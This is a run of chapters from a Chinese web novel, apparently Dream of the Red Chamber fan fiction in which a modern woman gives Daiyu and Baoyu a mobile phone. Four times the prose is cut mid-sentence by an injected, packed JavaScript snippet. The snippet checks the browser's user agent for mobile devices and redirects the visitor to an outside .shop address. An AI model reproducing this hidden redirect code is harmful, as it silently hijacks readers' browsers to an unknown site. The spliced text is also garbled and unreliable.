“这么冷的天,也不知道宝玉在学里冷不冷,带的碳可够?”黛玉看了几页书,又挂着在上学的宝玉,便和紫鹃说话。 “姑娘可放心吧,外面有茗烟、李贵他们跟着呢,学里不论谁冷也冷不了二爷。”紫鹃手不停地绣帕子,轻笑道。“而且学里管得不严,说不定他又跑去教堂了。” 黛玉也笑了,“你说的对。宝玉上次说那严教士要做会动的小人,他好奇得紧,就差没天天去看了。” 紫鹃倒是不以为然,“再精巧的东西能比得上宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983729|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠姑娘给的这些。”她如今也已经会看那电子钟上的数字了,平板也瞟过几眼,自认为开了眼界,便把那些西洋人的玩意都当成了二流货色。 “宝珠姐姐是神仙之流,怎么好拿她和洋人比。”黛玉觉得这样太不公平。 宝珠来的时候,黛玉屋内正好来了客人,却是宝钗闲坐无事,踏雪过来见见姐妹,正好黛玉咳了两声,她便问起她晚上可睡得好,吃些什么药。黛玉不知道宝珠在外面,见宝钗好意,两个人就慢慢聊了起来。 宝珠不想打断小姑娘间的交际,正好这也是她第一次在红楼世界中看见下雪的情景,便将注意力转到周遭了。 对她而言,这些雪粒子几乎小得无法看见,需要仔细放大才能察觉些痕迹。而这些可爱的冬日小精灵是突然出现在宝珠视线的,就像越过某个透明的界限,它们就一起呼啦啦地冒了出来。 雪虽然不大,但北方天寒地冻的,渐渐也在屋檐上、台阶上积了些雪。这对生长在蜀都,下雪需要疯狂发朋友圈的宝珠来说十分新奇,便忍不住拿手指去屋顶粘了点雪,可还没等宝珠多看几眼,那雪就在指尖融化了。 不可惜,不可惜。宝珠告诉自己,这是北京,以后肯定还会有大雪呢,说不定就真如以前看过的那句诗——“燕山雪花大如席”。想象着可能出现的雪日胜景,宝珠心里便提前陶醉起来。 但眼前屋檐微白的景象也很可爱,宝珠忍不住拿出手机拍了几张照片,可还是如以前试过的一样,明明眼中是红楼冬日情景,拍出来的照片却只有一片毫无人气的迷你模型。 也不知道黛玉拿到手机后,能不能拍出真实的红楼世界照片。 宝珠如此希望着,又沿着荣国府看了一圈。天色昏暗,风寒雪冷,小人们都躲到屋子里面去了,只有少数轮值的人在大门和各处屋门守着。宝珠如今对荣国府熟悉的只有史老太君的院子和贾政的书房,其他地方只大概听宝玉介绍过,便一一打量过去。 最中间的正房依旧没什么看的。虽然说是贾政夫妇居住,但他们二人实际并不在这里常住,只在荣禧堂东边的院子起居,这也就是宝珠之前觉得间隔得过于繁复的那一处小院。 宝珠探了一下,各处门窗紧闭,又向上望去,却看见一个三十余岁的妇人正带着三个小姑娘安安静静地做针线,因人口实在多,便有一扇小窗微微开启,刚好让宝珠可以从缝隙里看到几分屋内情景。 这是李纨和三春吧。宝珠猜想着,感觉自己像是个偷窥女眷的女流氓,忙又把视线移开。 贾琏和王熙凤应该是住在荣禧堂后面的院子。刚好宝珠白天看过书,打眼望过去,便看到书中描写的粉油大影壁,但后面的院子也是空荡荡的,只有一个仆妇守在门帘外。 也不知道凤辣子长什么样。宝珠正想着,却见正房旁边的耳室门帘掀开,一个面容俏丽的年轻女人抱着一个包裹走出来,又进了正房。然后里面就传来轻声言语,宝珠也只听到了月钱和放贷几个词。 这年轻女人是平儿吧。 自己这是刚好撞上了王熙凤拿月钱放贷的现场? 12. 第 12 章 宝珠对这位凤辣子的理财手段很有兴趣,但屋里两个人估计也不想别人听见悄悄话,声音越来越低。宝珠听了一会,实在没听出什么名堂,这才无奈地移开视线。 王熙凤院子背后还有一大片房子,但没有前面这么高大华丽,而且大多是些锁上的空屋子。可见当年荣国府人口之盛,而如今却是萧条了。 贾府里还住着薛宝钗一家人,宝珠依着记忆在东北角找到了一处疑似梨香院的地方。但宝钗这时正在黛玉房中,宝珠觉得没什么可看的,正要换地方,却听见一个女孩子的惊呼声。 “大爷,我,我先走了!”一个丫鬟装束的少女从一处房中狼狈奔出,后面还跟着一个年轻男子。 “香菱,别走啊,我又不会吃了你!”薛蟠在后面不甘心地喊道。见少女躲进母亲房中,男子恨恨两声,终究不敢冒失。 “迟早是我的人,矫情什么?!” 宝珠又仔细看了男子几眼,才发现他虽看似成人,但面容还有几分稚嫩,居然还只是个十五六岁的少年人。 但这少年人却一点这个年岁应有的纯真都没有。他望着香菱消失的方向,言语蛮横、眼神浑浊。本身还算端正的面容也因此变得可憎,令人生厌。 薛蟠还在外面念念叨叨,薛姨妈终于忍不住在屋里喊,“你既是不高兴,不如出去耍耍,别在家惹我和你妹妹心烦。” “那我就出去啦!”听得这一句,薛蟠像是死气沉沉的囚徒得了大赦的圣旨,立刻眉开眼笑,也不管天色阴沉,便要出门寻乐子。 宝珠见他兴冲冲地迈过台阶,心中一动,忍不住拿小手指在薛蟠背后轻轻一弹。 “啊!”薛蟠立刻飞了起来,然后整个人重重落在几米外的泥地上。 “哎呦,哎呦!谁推我?哎呦,我的胳膊!”薛蟠叫得异常惨烈。 宝珠也被吓了一跳。自己下手不会太重了吧。 “怎么了?” 屋子里立刻有人掀帘出来,见薛蟠摔在泥地里叫唤,忙跑过来扶他。薛蟠却叫得更惨了。 “别,别,别碰我的胳膊!我的胳膊断啦!!” 宝珠听他声音中气十足,这才放心,又冷哼一声。“活该!”胳膊断了就叫这么惨,那冯渊可是活活被薛家人打死了。 薛姨妈这时也出来了,主仆一群人围着薛蟠转。薛蟠咬定有人害他,但刚才一来天冷,二来大家见他纠缠香菱都回避了,竟无人在场。 薛姨妈也只当儿子胡说,“你成天在家里打鸡骂狗跟霸王似的,谁敢惹你!” 仆人们把薛蟠搀扶回房,薛姨妈心疼儿子,忙打发人去请跌打大夫。“好好待在家里就什么事也没有了,我就不该让你出门!” 薛姨妈只是随口念叨,香菱听了却不由得多想,躲出来在屋外默默流泪。 宝珠却不知道这些,她已经把注意力转回到黛玉的屋子。这时宝钗已经走了,黛玉正倚着窗轻声唤她。“宝珠姐姐~” 见雪粒子悄悄落在黛玉粉嫩的脸上,宝珠忙把手机和上次忘记了的面膜一并塞给黛玉。“你先进去,我说话你只管听着就是了。” “哦。”黛玉嘟着嘴坐了回去。紫鹃笑嘻嘻地过来关窗。 黛玉按照宝珠教的先把手机拿了出来。在她看来,宝珠又给了她们两个和宝镜类似的黑方块,只是尺寸小了很多。一个背后套了翠竹图案的软壳,一个背后却是碧海蓝天。宝珠让她选择一个,黛玉犹豫了一会,终于还是拿起了前者。 宝珠不知道里面黛玉犹豫过,听她说选了带翠竹壳子的手机还有点小得意。果然自己懂得林妹妹的。 见黛玉已经做好准备,宝珠便拨了V信电话过去。 “嘟嘟嘟~”黛玉按下绿色的接通键,然后她就看见宝珠姐姐的脸出现在小小的方块中。而宝珠姐姐的声音也在小方块和窗外同时响起。 “喂喂喂,黛玉小可爱能听见我的声音吗?” 黛玉被宝珠逗得笑了起来,然后应道,“宝珠姐姐,我能听到。” 宝珠又走得远了些,视线也离开了荣国府。V信视频通话的信号依然稳定,宝珠这下彻底放心了。 “这就好,这个手机可以让我们不用见面也能聊天说话,而且不方便的时候还可以通过输入文字聊天。”宝珠在视频中一一将手机的功能演示给黛玉看。 黛玉本就是聪慧的人,而且之前已经使用过平板,这次学起来便进展极快,几乎都不需要宝珠教第二遍。没多久,她便学会了使用V信,学会了录入文字(手机系统的字体当然都提前调成繁体了),还学会了使用拍照、听歌等一系列小程序。 宝珠之前还在应用商店下了一个万年历的小程序,结果号称万年却名不副实,实际上最早也就能追朔到1900年,根本没有办法显示1718年的时间,宝珠干脆也就不管了。 “以后我来的时候在聊天群里通知你们,你们要是方便就给我回拨回来,不方便就先放着,或是简单回我一句也可以。另外,如果你有什么想和我说的私密话,就别在聊天群说里,悄悄儿单独和我聊。”宝珠自认考虑得还是很周到的。 宝珠正说着,看见紫鹃的脸蛋在屏幕中微微露了小半张,灵机一动,问道,“紫鹃,你现在能听见我的声音吗?” 黛玉忙看向紫鹃,紫鹃脸红红地点头,“本来是听不见的,但通过这个小方镜子就能听见,也能看见仙子了。” “真有意思。”宝珠一时也不明白这个原理是什么。难道是通过手机信号中转一番,自己就从不可辨识变成可识别了? 黛玉倒没想那么多,她高高兴兴地拉起紫鹃的手。“太好了。” 紫鹃心里却想着宝珠和她想象中的仙子完全不同。方镜中的女子相貌不过清秀,身上没有绫罗绸缎,头上也没有珠钗凤冠,看上去比普通女儿家还要朴素。但紫鹃又想着戏文中的神仙形象追究只是凡人想象,宝珠这样的真神仙自然随心所欲。 三个女生聊了一会闲话,黛玉又问起些看科普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983730|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小册子时的疑问,宝珠知道的就直接回复了,不知道或不确定的就立刻上网搜索。她还很心机地把手机镜头对着自己,没让黛玉发现她现学现卖的小手段。 黛玉问的问题越来越杂,宝珠求助网络的次数也越来越多。没想到黛玉也有理科生的潜质啊。宝珠还以为宝玉和黛玉都是纯粹的文科生呢,没想到他们之前只是没有接触到这一块罢了,实际两个人都可能是文理双修的苗子。 紫鹃前面听姑娘和仙子一问一答,还挺有兴趣,后面却只觉得头晕。姑娘说大家都生活在一个大球上,大球又悬在空气中,那为什么大球不落下,众人也不坠落呢? 她脑子里盘旋着这个问题,连宝珠挂断电话都不知道,还是黛玉在她面前挥手,她才猛然反应过来。 “紫鹃,你在想什么呢?”黛玉很是好奇。 紫鹃犹豫了一会,才把刚才的疑惑说了出来。 “这样啊。”黛玉想了一想,把珍藏的那边科普小册子拿了出来。“这要从头说起了。” 两个女孩子头挨着头,竟是在这荣国府中再度开起了小课堂。黛玉教得认真,紫鹃也听得认真。好多她不懂的,黛玉都耐心的一一为她解答。就算紫鹃有时候的问题天马行空(就如同之前黛玉对宝珠所提的问题一般),黛玉难以解答,也都记了下来,准备下次再去问宝珠。 俗话说得好,教学相长,黛玉教了紫鹃一回,觉得自己也理解更深了。鸳鸯过来的时候,正好看见这主仆二人亲亲密密地靠在一起说话,便笑着说,“林姑娘好好。老太太刚让我来提醒姑娘们,这几天下雪下冻的,地滑,大家出门的时候小心些。” 黛玉先谢谢鸳鸯的提醒,然后又问道,“是出了什么事么?怎么突然说起这个?” 鸳鸯还没回答,自己先笑了一笑,指着东北方向小声道。“是宝姑娘的哥哥今天摔着了,说是折了一只胳膊,脸也肿了,整个院子闹得人仰马翻的,连老太太都惊动了。” 紫鹃笑了起来,“原来如此,鸳鸯姐姐放心,我们姑娘这几日正犯懒不想出门呢。我还想着劝她走走,这会子她更加有理,越发不想动了。” 鸳鸯听了倒也来劝黛玉,“紫鹃说得对,虽然天冷,但姑娘还是该活动活动,只要脚下注意些就行。” 黛玉忙点头应了。“我知道了。宝姐姐今天也来看过我,我正想着明天去她那边看看呢。只是如今她哥哥摔了,我去了反而添乱,便改去和二姐姐下棋罢。” 鸳鸯还要去和三春那边提醒,和黛玉、紫鹃说了几句便走了。 黛玉立刻瞪了紫鹃一眼,“就你这小妮子多话。”她今天和宝珠姐姐请教了好些事,正想着窝在房里好好整理呢,现在却被逼出门,心里难免有点小幽怨。 紫鹃笑道,“姑娘时时待在房中,本是为了等宝珠姑娘,现在有了那什么V信能及时传音,就多出去走走,也松散松散筋骨。” “好吧,好吧,都听你的。”黛玉答应着,却不太情愿地嘟起嘴。 13. 第 13 章 “宝珠姐姐来过了?”宝玉泄气地往椅子上一摊,整个人变成了比宝珠还要咸鱼的咸鱼。 黛玉尽量压住嘴角的笑容,“谁让你运气不好,偏偏今日这么晚回来。” 宝玉无奈,“我有什么办法,今日太爷来了,别的不说先抽背功课,背不出来的一个也不许走。” “那你定是没背出来,可见平日确实懈怠了。”黛玉正要笑话宝玉,却被紫鹃按住嘴角。“姑娘可不要再笑了,脸都笑皱了。” 黛玉叹口气,“这可真真麻烦。” 紫鹃看看电子钟上的时间,“还有3分钟就好了,姑娘再忍忍。” 宝玉看着少女脸上那层朦朦胧胧的透明软膜,忍不住也上手摸了一下,“这就是你和宝珠姐姐之前说的面膜吧,真有趣。” 黛玉瞥了宝玉一眼,脸上却不敢再有大动作了。“我还以为你没看见呢,一点都没被吓到。”她当时被贴着面膜的宝珠吓惨了,刚巧宝玉进来,就想着不做声吓他一吓,谁知宝玉竟面不改色。 “我那不是认出妹妹了吗。既是妹妹在眼前,我心里只有欢喜,又哪会被吓到。”宝玉直通通地说。 黛玉终于压不住嘴角,“就你会说话。那今儿怎么在太爷面前嘴就笨了?” 宝玉大呼冤枉,“我原是背了出来的,可是环儿和兰儿年纪小,没背熟功课,太爷要打他们手板子,我就留下帮着求情。” 黛玉这才明白。“你倒是好心,只怕人家不一定领你的情。” 宝玉笑了一下。“我又不需要他们领我的情,我只做我的事罢了。” 说话间,紫鹃看着电子钟的时间到了,帮着黛玉卸了面膜,又端来热水绢帕帮她洗脸、涂上面脂。 黛玉摸摸自己的脸蛋,“确实是滋润了些,就是不能笑不能闹地太麻烦了。” 宝玉也凑过来仔细打量,觉得今天的少女脸庞格外光洁水嫩,拍手笑道。“这个东西好,妹妹你也不要嫌麻烦,不过就是坐半刻钟罢了。别人想要还得不到呢。” 黛玉又让紫鹃把手机和那一堆配件拿了过来。宝珠把盒子那些都提前收走了,没电的平板也拿了回去。宝玉如今看到的就是一个手机,一个耳机和一个太阳能充电器。 黛玉细细地和宝玉讲解手机的用法。聊天群里还留着刚才宝珠和黛玉的聊天记录,宝玉看了文字,又一一点开语音信息,不由赞叹,“想不到世间还有如此神奇之物。可惜我们这里没有宝珠姐姐所说的外发,要不然时时都能说话见面了。” 知道那外发又是什么大神通,说不定正是因为能由内向外发功才得此名呢? 黛玉见他珍而重之地把手机和配件放进怀里,胸口鼓鼓囊囊地撑起了一大块,便笑道,“哪有你这么放东西的,别被人笑话了,快拿出来。” 宝玉自己低头看看,也觉得不好,便傻笑着把东西又拿了出来。 紫鹃机灵,马上去拿了一个黛玉平时收小物件的锦囊过来。黛玉亲手把东西一一装了进去,扎好袋子。“你可收好了,别丢了,也别随意让人看见。” 宝玉拿着锦囊回了自己房中。袭人忙上前来为他换衣裳,“二爷也真是的,回来也不换衣裳就去林姑娘,便是有什么着急事也不至如此,也不怕妹妹笑话你。” 宝玉笑笑也不回答,由着袭人过来为他换衣服。袭人本要接过宝玉手里的锦囊,宝玉却只换了手拿,没给袭人。袭人先是一愣,然后笑道,“二爷哪里拿来的稀罕物,可要找个匣子单独放着?” 宝玉本来没想那么多,但听袭人这么说便突然起了个念头。黛玉和紫鹃亲密无间,彼此之间没有秘密。自己也得袭人照顾多年,而且袭人一贯温柔和顺,最得他的意,他却为何一直没有告诉袭人仙子姐姐的事? 是哪里不对呢? 是我不如林妹妹般诚心待人? 袭人见宝玉突然愣在那里,也不知道自己哪句话触碰到他了,怕他又发呆气,忙把刚才的小心思丢在一旁,“二爷可是在学堂里累着呢,要不先躺着养养神。” 袭人也不敢动宝玉手里的锦囊,温言软语地劝着把他推入床中,放下床帘。“二爷睡会吧。”说罢,袭人和其他丫鬟都轻手轻脚地走了出去。留宝玉一个在床里发呆。 宝玉在床上翻来覆去,突然又想到了一个新道理。“我不过是个俗人,是借了林妹妹的仙缘才见到仙子姐姐。林妹妹与紫鹃亲厚,因此把仙子姐姐的事情告诉了她。林妹妹与我也亲厚,因此也告诉了我。我本就该为林妹妹和仙子姐姐保密。” 他又想起黛玉刚才的话,“今日林妹妹还嘱咐我不要让人随意看见仙子姐姐的东西,可见这道理是对的。” 这样一想,宝玉心中顿时念头通达,也不再烦恼了。这时正好丫鬟们都躲了出去,他便将手机摸了出来,戴上耳机开始玩耍。 虽然刚才在黛玉房里也玩了一会,但独自一人时玩手机又是另一种感觉。宝玉先将手机中的音乐调了出来,里面宝珠下载了许多古典曲目,但也有一些是宝珠自己喜欢的现代歌曲。 宝玉自然是直接略过那些听熟了的曲子,挑着自己没听过没见过的歌听。但让他吃惊的是,耳中响起的不是悠扬的仙乐,而是一阵如拉锯般的古怪调子。这是出错了吗,宝玉正惊疑间,听到了一个男人低沉的声音。 “都,是勇敢的。 你额头的伤口,你的不同,你犯的错……” 这直白的,又带着深意的歌词立刻抓住了宝玉的心神。 “谁说站在光里的才是英雄。” 宝玉从来没有听过这样的曲子,感觉每一句歌词,每一个曲调都重重击在他的心头。似乎有一个伤痕累累的男子正在黑暗中独行。少年一时竟控制不住自己,整个人都随着旋律而激动。 “爱你孤身走暗巷,爱你不跪的模样。 爱你对峙过绝望,不肯哭一场。 爱你破烂的衣裳,却敢堵命运的枪。 爱你和我那么像,缺口都一样。” 这简直是降维打击。连现代中小学生们对抵抗不了《孤勇者》的魅力,何况从来没有接触过现代曲调的宝玉。 中二之魂迷之燃烧了!宝玉却再也听不进去其他歌曲,甚至还无师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983731|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自通地学会了单曲循环播放。 “爱你孤身走暗巷,爱你不跪的模样……” “二爷在哼什么啊?”屋子另一边,晴雯皱起了眉头,“真难听。” 第二天,被孤勇者激励着的宝玉带着一腔热血到学堂去了。要不是手机被听得没电,他又担心在外面磕着碰着这宝贝,都想插着耳机上课听歌了。但现实问题总是要考虑的,宝玉只好把手机交给了黛玉保管,还千叮咛万嘱咐一定要帮他把电冲上。 走的时候也千般不舍,只不知道是舍不得黛玉还是这手机了。 “宝玉有了手机越发呆了。”紫鹃偷偷在黛玉耳边告状,“昨儿听说他哼哼了一晚上,把那边的人闹得都没睡好。” 黛玉也有些无语,她昨天也和宝玉差不多,躲在帐子里把手机用得没电了方才罢手。但她是看的宝珠下载的故事书,一边看还一边给紫鹃讲皮皮鲁和鲁西西,别人听到了也只当两个女孩子讲悄悄话。 紫鹃悄悄儿把两个手机拿到外面充电。这天雪倒是停了,但天还是阴沉沉的。“也不知道太阳没出来,这个什么太阳能充电器能不能行。” 左右无事,黛玉便带了雪雁去找迎春下棋了。三春正好都在,见黛玉难得过来,便都迎了过来。李纨打趣黛玉两句,黛玉便认了近来惫懒,冷落了姐妹们。她既认打认罚,大家便笑闹一通,又亲亲密密地在一起下棋画画,直到午饭时才放黛玉回去。 宝玉这一日到了学里,贾代儒便要让大家交昨天布置下的功课。宝玉顿觉一盆冷水从头上直直浇了下来,脑袋里缠绕了一天的旋律终于被冲走了。他昨天只顾着听歌,哪里还记得有太爷布置的两篇大字没写。还好功课散学前补上即可,他便摊开纸笔埋头写字,却又被贾代儒叫起来回答问题。他课都未曾听入心几句,自然是支支吾吾地回答不清。 贾代儒面沉如水。“昨日你课业答得不错,又知道为贾环、贾兰求情,我原以为你是个好的。结果今天课也不听,功课也没做,如何能给弟弟侄儿做榜样!” 宝玉低头默默不语。但出了家学,他又立刻昂首阔步起来,如主人撒了手的风筝放飞自己。茗烟忙跟在后面提醒,“二爷今天可别忘了功课,要不然太爷明天又要打我手板子。” 见宝玉回得含糊,茗烟心中叫苦,又提醒他,“薛大爷昨儿摔了,二爷你不去看看?” 宝玉这才停了步,他想了一想,“薛大哥素来对我不错,那是该去看看的。”梨香院有一处小门通着外面街道,宝玉干脆就不入府中,直奔后街而去。 一进门,宝玉就听见薛蟠在里面叫叫嚷嚷地支使香菱,一会要擦汗,一会要喝水。薛蟠原本对香菱还有些得不到手的稀罕,如今折了胳膊、浑身疼痛,便比往常更暴躁了几分,一时不如意就骂香菱。 宝玉慰问了几句,见那香菱可怜,便和薛蟠说起些从严教士那里听来的天南海北的事,这才把薛蟠的注意力引开了。 香菱得了一时轻快,心里只念佛。但她是薛姨妈指过来服侍薛蟠的,又不敢走,只得躲在角落里不出声,唯恐又被薛蟠想起变着法子折腾。 14.第 14 章 宝玉劝解薛蟠安心修养,“伤筋动骨一百天,如不能好好静养,且不说会延长时日,若是落下病症岂不懊恼。” 薛蟠虽然蛮横,但也知道宝玉是真心为他想,便闷闷答应了。薛姨妈见儿子听劝,自然欢喜,对宝玉说了一箩筐感谢的话,又想要留他吃饭,但宝玉心里还挂着家里,便婉言谢绝了。 “想不到薛大哥哥在家中如此蛮横,只是可惜了那个叫香菱的丫头。”宝玉这还是第一次见香菱,却颇为她惋惜。 茗烟忙上前卖弄自己消息灵通,“薛大爷以前在金陵闹出过人命,听说就是为了这个叫香菱的丫头。” 宝玉听了愈发扼腕。先是被拐子拐卖,又被薛家强取豪夺,真是个苦命人。 来到黛玉房中,黛玉见他表情有异,还以为是在学堂里发生了什么事,便关心问他。宝玉便把香菱的事情说了,黛玉和紫鹃也为香菱惋惜一回。 紫鹃嘴快,“真不知道宝姑娘怎么会有这么一个混账的哥哥,脾气行事完全不同。” 宝玉忙问紫鹃手机的电可充满了。紫鹃便笑道,“早就等你来问呢,没想到二爷今天倒还耐得住性子。” 宝玉便见紫鹃从匣子里拿了自己的手机过来,他按下开机键,果然屏幕亮了起来。宝玉又问黛玉昨天听过歌没有,见黛玉摇头,便急急向她推荐那首叫《孤勇者》的歌,不料黛玉和紫鹃听了都摇头。“这调子太怪了,词也直白,不好不好。” 黛玉又向宝玉推荐自己昨日看的故事,宝玉虽有些不乐还是记下了,准备回去再看。“皮皮鲁和鲁西西,这名字怎么这样奇怪,倒像是洋人那边的人名。” 说起洋人,宝玉又想起了严教士。“严教士前次说过有同僚推荐他入宫面圣,也不知道他如愿了没有?明天若是学里散得早,倒可以去见见他。” 黛玉取笑宝玉,“你如今见那严教士倒比上学还高兴些,可见是个真读不进书的。” 宝玉扁扁嘴,“那些书有什么好读的,尽是些正经古板的大道理,读的人也不过是想借此谋取功名利禄罢了。” 黛玉叹道,“这话在我面前说也就罢了,可别在外面说,仔细传到舅舅耳朵里,又要揭你的皮。” 宝玉吐吐舌头,也不在意。实在是他平日里说的混话多了,也不差这一句。 到了第二天,学里太爷又没有来,宝玉白白写了几页大字。他也不可惜,把书本课业交给李贵,自己又带了茗烟去教堂了。自从在史老太君那边提过严教士,他去教堂的事也算是过了明路,也无人劝阻了。 可巧严教士这日正好被召入宫,宝玉得了消息,既为他开心,也有些遗憾。见了圣上,严教士便也算是半步踏进仕途了,也不知是否还能如先前般和他这个纨绔子弟交往。 因为贾瑞的病情时有反复,贾代儒被孙子的病情绊住,家学里的风气愈发乱了。没几日,便有几个学子因为小事斗气,最后在学堂里打成一团。宝玉本不参与其中,不料乱战中有人不知轻重砸了一个手炉过来,那火热热的碳散在半空中,别人都躲了去,只有宝玉背对着,等听见惊叫声回头已经晚了。 眼看宝玉就要被碳火砸中,却有只手突然从旁边伸出,替他挡了一下。 “你没事吧。”宝玉忙站了起来。其他人也慌了,有围过来的,有去叫人的。那投手炉的见闯了祸,想偷偷躲出去却又被对头拦住了。 那救了宝玉是一个是十五六岁的清俊少年,他抖着胳膊,强笑道,“宝叔,我没事呢,幸好今日衣服穿得厚,没落在手上。” 宝玉细看了一下,果然少年的袖口已被碳火烧出几个黑洞,手背也有一处被火星擦着。但少年这时却看着自己的衣服心疼,反而顾不上手背上的刺痛。 “你是……”宝玉觉得这少年有点眼熟,却不认得名字。对方机灵,忙笑道,“宝叔不记得我了,侄儿是西廊下的贾芸。” “是你啊,刚才多谢你了。”宝玉见贾芸手背已经起了红痕,忙拉着他往外走,“走,我们先找大夫去。” 其他人不敢让他们就这样走,忙过来劝。茗烟等本是守在外面的,这时候才得了消息赶过来。知道宝玉刚才差点受伤,几个小厮手里都捏了一把汗,自然是对救了宝玉的贾芸感恩戴德。李贵算是小厮中老道些的,便让宝玉和贾芸坐了,自己撸起袖子找人理论。不多时,那几个闹事的学子都低头认了错,还凑了银钱给贾芸赔罪,那个砸手炉的金荣又答应另补他一件上好的冬衣。 贾芸得了这些赔偿已是满意,反而宝玉心中十分不平。等到事毕,贾代儒才匆匆赶了过来。因为已经说妥,大家便异口同声推说是意外。贾代儒见贾芸手上只是微红,连个水泡都没有起,也就不细究了,只是额外布置了几张大字的课业,让他们写完再走。 贾芸手上有伤,自然是免了。宝玉坚持要送贾芸回家,贾代儒也允他早早退了。 两个人一起到了西廊下贾芸的家中,贾芸母亲本来正在做针线,见了儿子和这一大群人,慌忙迎了上来。贾芸向母亲说明了情况,又请宝玉进屋坐。不多时李贵从医馆买来了专治烫伤的软膏,贾芸给自己涂了厚厚一层,那肉皮上的火辣才慢慢褪散。 贾芸母亲本是想好好招待贵客,但搜遍了家中也只送上来两杯清茶和一碟点心。贾芸有些羞涩,“招待不周,让宝叔见笑了。” 宝玉是不在意这个的,拿起点心好奇尝了一口,顿时觉得粗劣干涩、难以下咽,忙又喝了口茶水才咽下肚。 贾芸自然看了出来,有些尴尬,宝玉忙打岔把话题扯开。这才知道贾芸的父亲早逝,家中没有什么营生,只有两间房子一亩地。孤儿寡母,度日艰难。若不是族中有家学,贾芸连上学的机会都没有。但他也是个读书没天份的,如今便准备退学去找个营生。 若是旁人可能会劝贾芸继续读书,但宝玉却不这样想,“你想做什么营生,如今可有本钱?” 贾芸笑道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003129|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不怕宝叔你笑话,我家如今过得艰难,哪有什么本钱。说是找营生,也不过是去族里的铺子历练历练,也算是长个见识。日后若做得好了,存下点本钱,再想着开个自家的铺子。” 两个人又聊了一会,宝玉见贾芸虽大不了自己几岁,但说话条理清晰,又兼刚才有相救之恩,便把这人放在了心上。 回到府里,宝玉把家学里的事修修剪剪地和史老太君说了一番。他不提打架的事,只说是旁人不小心掉了手炉。但贾芸救自己的事却描述得清楚,老人听了直呼阿弥陀佛,忙命人去贾芸家里道谢,又送去上好的烫伤膏、几身衣服和一套文房四宝。 老太君想了一想,终于下定决心。“以后别去学里了,就在家里读书。”见宝玉一副心花路放的样子,老人拍拍他的手,“在家也别只顾着玩,好歹也记得看书。” 宝玉自然一口应承。史老太君又让人去通知了学里,说是宝玉近来体弱,不便外出读书。贾代儒如今心里挂念着孙子,又知道宝玉心思不在读书上,便点头应了。次日贾政才知道此事,又把宝玉叫过来骂了一通,但也终是无法可想,只好随宝玉去了。 当天下午,宝珠便再次来到了红楼世界。她听宝玉一脸欣喜地说以后不用上学了,又听他说起这几天学里发生的事,不由得愣了。她这几日看新买的红楼梦,正好看到顽童闹学堂的那一章。 之前大概是她蝴蝶翅膀的缘故,宝玉没有遇见秦钟,所以她就以为不会再发生闹学堂的事。但现在大闹学堂的事情还是发生了,闹事的也还是那个金荣,但其他人物、起因后果却截然不同。这算是必然情节还是偶然事故呢?不过以贾家学堂里面的胡乱,学童闹事的事迟早都会发生的。 至于学里太爷那个生病的孙子,应该就是贾瑞吧。哼,这个家伙估计又去招惹了王熙凤,真是色迷心窍、咎由自取。 宝珠唯一好奇的是那个神秘兮兮的破足道人和那面风月宝鉴,不知道他们还会不会出现。宝珠本想让宝玉去打听打听,但看到宝玉稚气未脱的少年模样,便又打消了这个念头。这还是个孩子呢,少知道龌龊事。 虽然红楼梦书中有着神仙,但至今为止,宝珠唯一见过的带有神秘色彩的就是宝玉的那块通灵宝玉。宝玉对这块玉其实是不太在意的,见宝珠有兴趣就拿给了仙子姐姐看,也没有问出“姐姐有没有玉”的傻问题。但不提它的来历,只单看的话就是一块刻了字的美玉,宝珠实在没有看出什么玄妙。 至于新人物贾芸,宝珠对他还是有印象的。他本来是大观园建成后出场的,如今别说大观园呢,连元春封妃都没影,他算是提前出现了。 贾芸是一个在前八十回出场不多,但在续作后四十回却占了重要戏份的人物。只是在87版电视剧和高鹗续作中,他是一个完全不同的人物形象。前者是知恩图报的君子,后者却是忘恩负义的小人。 也不知道曹公的笔下,真正的贾芸究竟是一个怎么样的人。 15.第 15 章 